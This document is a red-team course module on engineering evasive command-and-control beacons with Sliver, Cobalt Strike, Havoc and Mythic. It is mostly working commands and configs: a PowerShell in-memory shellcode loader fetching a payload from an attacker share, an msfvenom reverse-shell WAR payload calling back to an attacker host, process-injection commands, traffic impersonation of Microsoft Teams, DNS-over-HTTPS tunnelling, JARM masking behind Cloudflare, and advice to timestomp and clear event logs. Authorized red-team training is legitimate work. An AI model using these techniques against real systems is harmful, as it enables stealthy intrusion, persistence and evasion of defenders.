7.1_C2_Beacon_Evasion

Supplemental Module 10: Evasive C2 Beacon Engineering

BLUF: A beacon that phones home on a predictable schedule, uses a recognizable TLS fingerprint, and runs as a process on disk is already dead. Evasive beaconing is about designing communications that look like business traffic, live only in memory, and survive EDR behavioral analysis. This module teaches you to engineer beacons that are hard to find, harder to attribute, and nearly impossible to block without breaking legitimate services.

Note

OW64 -- Supplemental: Evasive Beacon Engineering Action Items

  1. Beacon Architecture Fundamentals . 2. Sleep Obfuscation & Jitter . 3. HTTP/S Profile Customization . 4. DNS Beaconing . 5. In-Memory / Fileless Execution . 6. TLS Fingerprint Evasion . 7. Staged vs Stageless Decision-Making . 8. Full Beacon OPSEC Checklist . Capstone: Deploy an Evasive Beacon End-to-End
Warning

Authorized use only. All techniques in this module are for professional red team engagements with written scope authorization. Unauthorized use of C2 infrastructure is a criminal offense in virtually every jurisdiction.

graph TB
    Start([Beacon Architecture]) --> Sleep[Sleep Obfuscation & Jitter]
    Sleep --> HTTP[HTTP/S Profile Customization]
    HTTP --> DNS[DNS Beaconing]
    DNS --> Memory[In-Memory / Fileless]
    Memory --> TLS[TLS Fingerprint Evasion]
    TLS --> Stage[Staged vs Stageless]
    Stage --> OPSEC[Full OPSEC Checklist]
    OPSEC --> Capstone([Evasive Beacon -- End-to-End])
    Start --> Detect[What SOCs Actually See]
    Detect --> HTTP
    style Start fill:#ff6600
    style Capstone fill:#00aa00

MITRE ATT&CK Mapping

Technique ID Name Tactic Module Relevance
T1573 Encrypted Channel Command and Control TLS, AES, custom encryption
T1071.001 Web Protocols Command and Control HTTP/S beaconing profiles
T1071.004 DNS Command and Control DNS-over-HTTPS, subdomain beaconing
T1001.001 Junk Data Command and Control Padding beacon traffic to break size fingerprints
T1001.003 Protocol Impersonation Command and Control Malleable C2, mimicking Office 365 / CDN traffic
T1055 Process Injection Defense Evasion Injecting beacon into legitimate processes
T1620 Reflective Code Loading Defense Evasion Reflective DLL / BOF / in-memory staging
T1497.003 Time Based Evasion Defense Evasion Sleep jitter, working-hours-only beaconing
T1568 Dynamic Resolution Command and Control DGA, fast-flux, CDN fronting
T1090 Proxy Command and Control Redirectors, CDN abuse, domain fronting

Action Item 1 -- Beacon Architecture Fundamentals [Beginner]

What you're building: A mental model of what a beacon IS, what signals it generates, and the four detection layers defenders use to catch it. You cannot design evasion until you understand what you are evading.

A C2 beacon is an implant that periodically contacts a listener for tasking. Every beacon generates three classes of signal: on-disk artifacts (the binary), in-memory artifacts (loaded code, heap strings, PE headers), and network artifacts (connection timing, protocol fingerprints, TLS signatures). EDRs, NDRs, and SIEMs each hunt one or more of these layers.

Tactic: Command and Control / Defense Evasion

Detection Layer What It Sees Your Countermeasure
Static AV / YARA File on disk: PE headers, strings, entropy, known byte sequences Stageless + encrypted payload, reflective loading, no-disk staging
EDR Behavioral Process creation, parent-child chain, API call sequences, injection patterns Inject into legitimate proc, use BOFs, avoid hollowing, no suspicious parents
Memory Scanner PE headers in heap, RWX regions, unbacked executable pages Stomp PE header post-load, use private+execute mapping, sleep encryption
Network / NDR Beacon interval regularity, JA3/JA3S TLS fingerprint, HTTP header order, URI patterns Jitter, malleable profiles, JARM randomization, legit-lookalike URIs
SIEM / Proxy Logs High-freq DNS queries, consistent bytes per request, off-hours traffic, new domain Business-hours jitter, size padding, aged/categorized domains, CDN fronting

The red team operator's job: eliminate each detection signal independently. A beacon that evades static AV but beacons every 60 seconds to a new domain with a self-signed cert is caught on the network layer in minutes.

Key C2 Frameworks for Evasive Beacons:

Framework Language Best For Evasion Strength
Cobalt Strike Java/C Gold standard malleable profiles Very High
Sliver Go Open-source, mTLS, WireGuard High
Mythic Python/Go Modular, custom C2 profiles, WAR/Java agents High
Havoc C PE-less beacon, sleep encryption, BOF support High
Brute Ratel C Commercial, designed to evade EDR Very High

References:


Action Item 2 -- Sleep Obfuscation & Jitter [Beginner]

What you're building: A beacon callback pattern that is statistically indistinguishable from background web traffic. Jitter alone raises the bar significantly. Sleep encryption prevents memory scanners from reading your beacon's config while it sleeps.

The most obvious beacon signature is regular interval callbacks. A beacon checking in every 60 seconds creates a perfect heartbeat that NDR tools catch within minutes. Jitter randomizes the sleep window. Sleep encryption goes further: it encrypts the beacon's own memory region while sleeping, making in-memory scanners blind during idle periods.

Tactic: Defense Evasion / T1497.003

Sliver -- Jitter Configuration

sliver > use <session-id>

# Set sleep interval + jitter
sliver (beacon) > sleep 300s 45
# 300s = 5 minute base sleep
# 45 = 45% jitter => actual callback time: 165s-435s (random each cycle)
# Rule of thumb: jitter >= 20% of sleep interval

# Long-haul persistence implants (survives weeks undetected)
sliver (beacon) > sleep 3600s 60   # 1hr +/- 36min

Cobalt Strike -- Malleable Profile Sleep

set sleeptime "300000";     # 5 minutes in milliseconds
set jitter     "45";        # 45% jitter

# Sleep mask encrypts beacon memory between callbacks
# Requires Cobalt Strike 4.5+ and a sleep mask kit
set sleep_mask "true";

Mythic -- Callback Interval Config

# In Mythic payload builder:
# Callback Interval: 300 (seconds)
# Callback Jitter:   45  (percent)

# Post-callback live adjustment:
# Mythic UI => Active Callbacks => click callback => set_sleep

Business-Hours-Only Beaconing

# Beacons that only call home during business hours evade anomaly detection.
hour=$(date +%H)
if [ "$hour" -ge 8 ] && [ "$hour" -le 18 ]; then
    ./beacon &
fi
# Cobalt Strike: implement in a sleep mask that calls GetLocalTime()

OPSEC: Never use the default sleep interval of any framework. Cobalt Strike default is 60s -- it is in every detection rule written since 2015. Set interval >= 300s minimum, jitter >= 20%. Long-haul persistence implants should sleep hours, not seconds.


Action Item 3 -- HTTP/S Profile Customization [Intermediate]

What you're building: HTTP beacon traffic that looks identical to legitimate application traffic -- correct header order, realistic URI patterns, proper User-Agent strings, and response sizes that match your cover story.

Tactic: T1001.003 -- Protocol Impersonation

Cobalt Strike -- Malleable C2 Profile (Teams Lookalike)

# teams.profile -- mimics Microsoft Teams API traffic
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.6.00.4472 Chrome/108.0.5359.215 Electron/22.3.7 Safari/537.36";

http-get {
    set uri "/v1/teams/api/messages/fetch";

    client {
        header "Host"             "teams.microsoft.com";
        header "Accept"           "application/json, text/plain, */*";
        header "Accept-Language"  "en-US,en;q=0.9";
        header "X-Ms-Client-Version" "1.6.00.4472.7175";

        metadata {
            base64url;
            prepend "Bearer ";
            header "Authorization";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store";

        output {
            base64url;
            prepend "{value:[{id:";
            append ",type:Message}]}";
            print;
        }
    }
}

http-post {
    set uri "/v1/teams/api/messages/send";
    client { header "Content-Type" "application/json"; }
    server { header "Content-Type" "application/json"; output { base64url; print; } }
}

set data_jitter "256";   # adds 0-256 random bytes to responses

Sliver -- HTTP C2 Configuration

# Edit: ~/.sliver/configs/http-c2.json
{
  "implant_config": {
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "chrome_base_version": 108,
    "max_files": 4, "min_files": 2,
    "max_paths": 4, "min_paths": 2
  },
  "server_config": {
    "random_version_headers": true,
    "headers": [{"name": "Cache-Control", "value": "no-store, no-cache"}]
  }
}

URI Design Rules

# Good URIs (blend into normal traffic):
/api/v2/sync    /static/assets/main.js    /health    /cdn/images/logo.png

# Bad URIs (known C2 IOCs):
/beacon    /cmd    /gate.php    /update

# Header ORDER matters: HTTP/1.1 header order is fingerprinted by NDRs.
# Wireshark a real Teams/Slack session and match the exact order.

OPSEC: Test your profile through Burp or mitmproxy before deploying. Run through the Malleable C2 validator tool before every engagement.

References:


Action Item 4 -- DNS Beaconing [Intermediate]

What you're building: A C2 channel over DNS -- a protocol almost never blocked at the perimeter. DNS beacons survive the most restrictive network environments and are harder to correlate to a specific host.

Tactic: T1071.004 -- DNS

Setup -- DNS Listener (Sliver)

# Server must be the authoritative NS for c2.yourdomain.com
sliver > dns --domains c2.yourdomain.com --lhost 0.0.0.0 --lport 53

sliver > generate beacon --dns c2.yourdomain.com --os linux --format elf \
    --sleep 600 --jitter 50 --name legit-proc

Setup -- DNS Listener (Cobalt Strike)

# 1. Point NS record for beacon.yourdomain.com => your C2 IP
# 2. Cobalt Strike: Listeners => Add => DNS Beacon

# Malleable profile settings:
set dns_idle    "8.8.8.8";
set maxdns      "255";
set dns_max_txt "252";

DNS-over-HTTPS (DoH) -- Bypass DNS Inspection

# DoH wraps DNS queries inside HTTPS. NDRs see only HTTPS, not DNS content.

# /etc/dnscrypt-proxy/dnscrypt-proxy.toml
server_names = ['cloudflare', 'google']
listen_addresses = ['127.0.0.1:5300']

echo "nameserver 127.0.0.1" > /etc/resolv.conf
# DNS C2 queries now travel inside HTTPS -- invisible to DNS monitoring

Query Rate Tuning

# Keep DNS queries < 10/min to avoid anomaly detection.
# 600s sleep + 50% jitter = 5-15 min between queries

# Domain label naming:
# Bad:  a3f9b2c1d4e5.c2.yourdomain.com  (DGA-like -- flagged immediately)
# Good: update-check.cdn.yourdomain.com  (mimics CDN update pattern)

OPSEC: Register your C2 domain >= 14 days before the engagement. New domains are flagged by threat intel feeds within hours of first query.


Action Item 5 -- In-Memory / Fileless Execution [Intermediate]

What you're building: A beacon that never writes to disk in an identifiable form, runs inside a legitimate process, and leaves no executable artifact for forensics to find.

Tactic: T1620 Reflective Code Loading / T1055 Process Injection

Sliver -- In-Memory Shellcode Delivery

# Generate raw shellcode (position-independent, no PE headers)
sliver > generate beacon --http https://ATTACKER:443 --os windows \
    --format shellcode --sleep 300 --jitter 40 --evasion --name svc-update
# Output: svc-update.bin (raw shellcode -- never touches disk as an executable)

# PowerShell in-memory loader:
$sc  = [System.IO.File]::ReadAllBytes("\\ATTACKER\share\svc-update.bin")
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)
$fn  = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [System.Action])
$fn.Invoke()

Cobalt Strike -- Inject into a Running Process

# execute-assembly: runs .NET assemblies in memory (no DLL on disk)
beacon> execute-assembly /path/to/Rubeus.exe kerberoast

# inject: inject beacon into a running process by PID
beacon> inject 1234 x64 https

# shinject: inject raw shellcode into a process
beacon> shinject 1234 x64 /path/to/beacon.bin

Havoc -- PE-less Demon Agent

# Demon is a PE-less shellcode beacon -- no MZ header in memory.
# In Havoc teamserver: Payloads => Generate => Demon => Format: Windows Shellcode

# Built-in evasion:
# - No PE headers (bypasses pe-sieve, moneta memory scanners)
# - Direct syscalls (bypasses user-mode EDR hooks in ntdll.dll)
# - Sleep encryption (beacon memory encrypted while not executing)

Safe Injection Targets

# Preferred targets (network-connected, long-lived, trusted):
svchost.exe -k netsvcs   # Always running, makes network connections
explorer.exe             # User context, long-lived, network access
OneDrive.exe / Teams.exe # Expected to make cloud traffic -- great cover story

# Avoid at all costs:
lsass.exe    # Triggers immediate alerts
cmd.exe      # High-scrutiny; always logged by EDR
werfault.exe # Error reporting -- SOC will investigate immediately

OPSEC: Fork-and-run creates a child process. SOCs hunt for svchost.exe spawning cmd.exe. Set fork_and_run to false and run BOFs in-process when possible.

References:


Action Item 6 -- TLS Fingerprint Evasion [Advanced]

What you're building: HTTPS beacon traffic where the TLS handshake fingerprint (JA3/JARM) matches a legitimate browser or CDN, defeating NDR rules that block known C2 TLS patterns.

Tactic: T1573 -- Encrypted Channel

Signature What It Is How to Evade
JA3 Client fingerprint from TLS ClientHello (cipher suites, extensions, curves) Match Chrome cipher suite order exactly
JA3S Server fingerprint from TLS ServerHello Use real CA cert + CDN; avoid self-signed
JARM Active server probe (10 synthetic ClientHellos) CDN answers probes; your C2 is invisible

Check Your Own Signatures

pip install jarm-py

# Check listener JARM (should return Cloudflare hash, not your C2 framework)
python3 jarm.py c2.yourdomain.com 443

# Cobalt Strike default JARM (public -- blocked by most NDRs):
# 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

Defeating JARM -- Put Cloudflare in Front

# Cloudflare proxy mode intercepts all JARM probes.
# Scanner sees Cloudflare's fingerprint, not yours.

# Setup:
# 1. Add domain to Cloudflare (free tier)
# 2. DNS A record: beacon.yourdomain.com => your C2 IP
# 3. Enable "Proxied" (orange cloud) on the record

# Validate:
python3 jarm.py c2.yourdomain.com 443
# Should return Cloudflare JARM hash

# Use Let's Encrypt cert with Sliver (changes JA3S away from self-signed):
certbot certonly --standalone -d c2.yourdomain.com

sliver > https --domain c2.yourdomain.com \
    --cert /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem \
    --key  /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem \
    --lhost 0.0.0.0 --lport 443

OPSEC: A C2 listener on a bare VPS (no CDN) will have its JARM scanned and flagged by automated threat intel within hours. Always put Cloudflare or a redirector in front.


Action Item 7 -- Staged vs Stageless Decision-Making [Intermediate]

What you're building: The judgment to pick the right payload architecture for each target environment.

Factor Staged Stageless
Initial file size Small stager (<=20KB) Full beacon (150KB-5MB)
Network detection High -- 2nd-stage download visible to proxy/SSL inspection Low -- no 2nd download
AV detection Stager is simple; 2nd stage flagged by SSL-inspecting proxy AES-256 defeats static scanning
Proxy environments Fails if SSL inspection is enabled Works through any HTTPS proxy
Best for Phishing, size-constrained exploits Enterprise targets, restricted egress

Cobalt Strike -- Force Stageless

# In Malleable C2 profile:
set host_stage "false";

Sliver -- Stageless Beacon

# Async beacon (preferred over interactive session for evasion)
sliver > generate beacon \
    --http https://c2.yourdomain.com \
    --os windows --arch amd64 --format shellcode \
    --sleep 300 --jitter 45 --evasion

msfvenom Java/WAR -- Stageless with Encryption

# Stageless + AES-256 = no 2nd download + encrypted payload bytes
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=443 \
  --encrypt aes256 --encrypt-key 'Str0ngK3y!Secure' \
  -f war -o api-health.war

# NOTE: x86 encoders (shikata_ga_nai) do NOT work on Java WAR payloads.
# Use --encrypt (not -e) for Java targets.

OPSEC: Stageless is the safe default for enterprise targets with SSL inspection. Use staged only when payload size is a hard constraint.


Action Item 8 -- Full Beacon OPSEC Checklist [All Levels]

What you're building: A pre-flight checklist to ensure your beacon infrastructure won't be burned by basic IOC lookups or a 10-minute threat hunt.

Pre-Engagement Infrastructure Checklist

DOMAIN & CATEGORIZATION
[ ] Domain registered >= 14 days before use
[ ] Domain submitted for URL categorization (Cloudflare Radar, Cisco Talos, Bluecoat)
[ ] Domain has realistic website content (not a blank nginx page)
[ ] WHOIS privacy enabled
[ ] MX/SPF/DKIM records set

CERTIFICATES
[ ] TLS cert from a real CA (Let's Encrypt / ZeroSSL -- NOT self-signed)
[ ] Cert CN matches your domain (not a C2 framework default)
[ ] Cert issued >= 7 days before engagement start

CDN / REDIRECTOR
[ ] CDN fronting the listener (JARM = CDN fingerprint, not your C2)
[ ] Redirector returns 404 for non-beacon requests (blocks blue team recon)
[ ] Direct access to C2 server IP blocked (allow only redirector IP on C2 port)

LISTENER
[ ] Non-default ports (443 preferred)
[ ] Default listener names changed
[ ] Expiry date set on beacon (auto-expires at engagement end)
[ ] Backup listener on separate infra with different domain

PAYLOAD
[ ] Scanned via antiscan.me (does NOT share with AV vendors)
[ ] Verified clean against Windows Defender on isolated test VM
[ ] Stageless preferred; staging server behind CDN if staged is required
[ ] Unique compile per target for attribution tracking

Runtime Checklist

DURING ENGAGEMENT
[ ] Sleep >= 300s, jitter >= 20% on all active beacons
[ ] Inject only into appropriate host processes (not cmd.exe, not lsass.exe)
[ ] All lateral movement via beacon channels
[ ] No plaintext credentials in tasking (use Kerberos tickets, NTLM hashes)
[ ] Timestomp artifacts; clear event logs after operations

POST-ENGAGEMENT
[ ] All active beacons deactivated before report delivery
[ ] Listener infrastructure destroyed (VPS terminated, not just stopped)
[ ] Confirmed zero callbacks to team infra post-engagement
[ ] All IOCs documented for blue team debrief (hashes, IPs, domains, JA3, JARM)
[ ] Provide blue team with artifacts for detection rule improvement

Quick Self-Test Commands

# Scan your payload (antiscan.me does NOT submit to AV vendors)
curl -s -F "file=@beacon.exe" https://antiscan.me/api/v1/scan | jq .

# Check domain reputation
curl "https://www.virustotal.com/api/v3/domains/c2.yourdomain.com" \
    -H "x-apikey: YOUR_VT_KEY" | jq '.data.attributes.last_analysis_stats'

# Verify JARM looks like Cloudflare, not your C2 framework
python3 jarm.py c2.yourdomain.com 443

# Confirm jitter in callback logs:
# Bad:   300, 300, 300, 300  (no jitter -- trivial to detect)
# Good:  287, 334, 251, 419  (realistic variation)

References:


Capstone -- Deploy an Evasive Beacon End-to-End [Operator]

What you're proving: You can stand up C2 infrastructure from scratch and deploy a beacon that survives a basic blue team hunt before any target interaction begins.

Phase 1 -- Infrastructure (2+ weeks before engagement)

# Register domain => enable Cloudflare proxy => issue Let's Encrypt cert
# Deploy VPS in a separate region from your operator IP

wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux && sudo mv sliver-server_linux /usr/local/bin/sliver-server

# Harden VPS firewall
ufw default deny incoming
ufw allow from REDIRECTOR_IP to any port 443
ufw allow 22/tcp
ufw enable

Phase 2 -- Listener & Certificate

sliver-server

sliver > https --domain c2.yourdomain.com \
    --cert /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem \
    --key  /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem \
    --lhost 0.0.0.0 --lport 443

sliver > jobs   # verify listener is running

Phase 3 -- Beacon Generation

sliver > generate beacon \
    --http https://c2.yourdomain.com \
    --os windows --arch amd64 \
    --format shellcode \
    --sleep 300 --jitter 45 \
    --evasion \
    --name svc-telemetry
# Output: svc-telemetry.bin (raw shellcode, no PE on disk)

Phase 4 -- Verify Before Delivery

# JARM check -- must look like Cloudflare
python3 jarm.py c2.yourdomain.com 443

# Execute shellcode on isolated Windows test VM => confirm callback in Sliver console

# Confirm jitter: watch 3+ callbacks; intervals should vary by ~45%

# Migrate into a host process after initial callback
sliver (svc-telemetry) > migrate --pid <svchost-pid>

Phase 5 -- Cleanup

# Deactivate all beacons at engagement end via the Sliver console
sliver > beacons
# Interact with each beacon and send a terminate task

# Destroy infrastructure:
# - Delete VPS and snapshot
# - Remove Cloudflare DNS records

# Deliver to blue team: domain, C2 IP, JA3 hash, beacon SHA256, URI patterns

Final OPSEC note: The best beacon is one that was never needed. Plan operations to minimize dwell time. Every active callback is a detection opportunity. Get in, complete objectives, and clean up.


Key Tool Reference

Tool Purpose Link
Sliver Open-source C2 (mTLS, WireGuard, DNS) github.com/BishopFox/sliver
Mythic Modular C2 with Java/WAR agents (Medusa) github.com/its-a-feature/Mythic
Havoc PE-less beacon, sleep encryption, direct syscalls github.com/HavocFramework/Havoc
jarm-py JARM TLS server fingerprint scanner github.com/salesforce/jarm
dnscrypt-proxy DNS-over-HTTPS for DNS C2 evasion github.com/DNSCrypt/dnscrypt-proxy
certbot Let's Encrypt cert automation certbot.eff.org
C2 CheatSheets Reference for all major C2 frameworks github.com/wsummerhill/C2_RedTeam_CheatSheets
awesome-c2 Curated C2 framework ecosystem map github.com/tcostam/awesome-command-control

Previous module: Pillar 9 -- Recon & Evasion | Back to Master Index